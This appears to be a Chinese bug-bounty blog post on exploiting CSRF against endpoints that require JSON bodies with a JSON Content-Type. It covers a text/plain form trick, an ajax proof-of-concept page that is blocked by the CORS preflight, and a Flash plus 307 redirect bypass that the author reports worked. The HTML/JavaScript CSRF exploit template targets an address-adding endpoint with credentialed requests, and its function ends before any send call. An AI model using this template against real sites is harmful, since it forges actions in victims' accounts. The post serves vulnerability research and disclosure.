提交json数组的CSRF利用思路

问题引出

在CSRF中,经常遇到提交的数据包是json数组的,这种类型的CSRF不能直接使用Burp生成的POC进行测试。

后来在hackone上看到了一个方法,将fromENCTYPE属性设置为text/plain时,json数组仍能被服务器接收。这个报告的地址为JSON CSRF on POST Heartbeats API

但是在最近刷SRC的过程中,笔者遇到的情况是:使用POST提交json数组到服务器,服务器检测有Content-Type: application/json请求头则通过,否则抛出一个异常。

用ajax技术解决

想到ajax可以自定义数据包头,于使构造ajax版POC,如下图所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.admintony.com/address/addAddress.json", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.9");
xhr.withCredentials = true;
var body = "{\"name\":\"SRC\",\"tel\":\"18681992828\",\"country\":\"\",\"province\":\"北京市\",\"city\":\"北京市\",\"county\":\"东城区\",\"areaCode\":\"110101\",\"postalCode\":\"\",\"addressDetail\":\"中关村\",\"isDefault\":false,\"userName\":\"美团SRC\",\"lat\":10.077726938827084,\"lon\":100.33235369626206}";
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

心想,使用ajax设置http头之后就可以利用了,但是ajax在跨域加http头请求的时候会先进行一次OPTIONS预请求,但是服务器并未设置允许任意域名跨域请求,则拒绝了options预请求,如下图所示。

在Burp中看该请求:

可以看到ajax的poc并没有发送post请求,而是发送了一个options预请求就被拒绝了。

Flash+307跳转绕过

在Goole上看到,曾有国外大佬分享过使用Flash+307跳转绕过ajax发送预请求的限制,文章地址Flash + 307 redirect

使用1lastBr3ath提供的测试POC进行测试,如下图所示。

然后到查看地址处查看地址,发现地址果然加上去了,如下图所示。

参考

JSON CSRF on POST Heartbeats API

Flash + 307 redirect

Forging Content-Type Header With Flash